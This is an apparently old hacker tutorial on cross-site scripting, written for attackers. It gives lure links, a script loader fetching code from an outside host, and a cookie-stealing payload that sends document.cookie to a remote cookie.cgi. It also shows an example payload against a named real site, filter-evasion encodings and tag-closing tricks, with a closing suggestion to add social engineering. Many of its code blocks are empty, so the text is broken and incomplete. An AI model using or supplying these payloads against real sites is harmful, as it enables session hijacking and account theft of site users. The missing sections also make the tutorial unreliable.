Cross Site Scripting exsistance is because of the lack of filtering engines to user inputs at websites on forms.

Hackers Evil Links

<a href="[http://<XSS-host]/xssfile?evil request">Free Laptop!</a>
<iframe src="[http://<XSS-host]/xssfile?evil request">Free Laptop!</iframe>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://www.Site.com/xss.js"></SCRIPT>

XSS Cookie theft Javascript

http://host/a.php?variable="><script>document.location='http://www.mysite.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>

Moding Cookies

(Put in your browsers address bar)
CODE :


How to Search for Vul Hosts

CODE :


- Also use "?" post request after the host.

WebServers XSS

Many webservers have default pages to folders that will look for a file.

CODE :


A common place for an XSS hole is inside a server default example files, such as:

CODE :


Most common places to find XSS in are the search files of servers.

CODE :


Social Engineering XSS

Using the characters instead may fool the filters and allow XSS to work.

CODE :


- Also use "?" post request after the host.

100% encoded

CODE :

CODE :

CODE :


Another form of encoding is: &lt;script&gt;alert(document.cookie)&lt;/script&gt;

< is encoded as: &lt;
> is encoded as: &gt;

CODE :


www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Any of the XSS requests presented above could be used on any asp, cfm, jsp, cgi, php or any other active html file.

CODE :


Finding errors such as inputting a string instead of a number or "" or "/" instead of a string, or a very long string & a very large number. All this malformed parameters can help us find the place to inject XSS script.

Tag Closer

The "Tag Closer" method is used by inputing non-alphabetic and non-numeric chars
inside form's input text boxes. This chars could be: ,/,~,!,#,$,%,^,&,-,[,],null(char 255),.(dot)
But the chars that mostly does the job is either " or '. What we do is just insert "> or '> inside
a text box instead of our name/email/username/password and etc...

CODE :


This mainly works on the servers root:

CODE :


About <plaintext>

Another trick for exploiting an XSS was found by putting a <plaintext> tag
after the xss code. Sometimes that makes it easie to exploit.

CODE :


Simple Codes just incase some of them do-not seem to work:

CODE :


Security Conclusion


Repace:

CODE :



Possible XSS:

CODE :


The best protection against it is filtering and removing from recieved input any non-alphabetic and non-numeric chars
and testing to make sure that the filtering system works! "To make XSS and SQL Injections Leet you must apply Social Engineering"


by Doz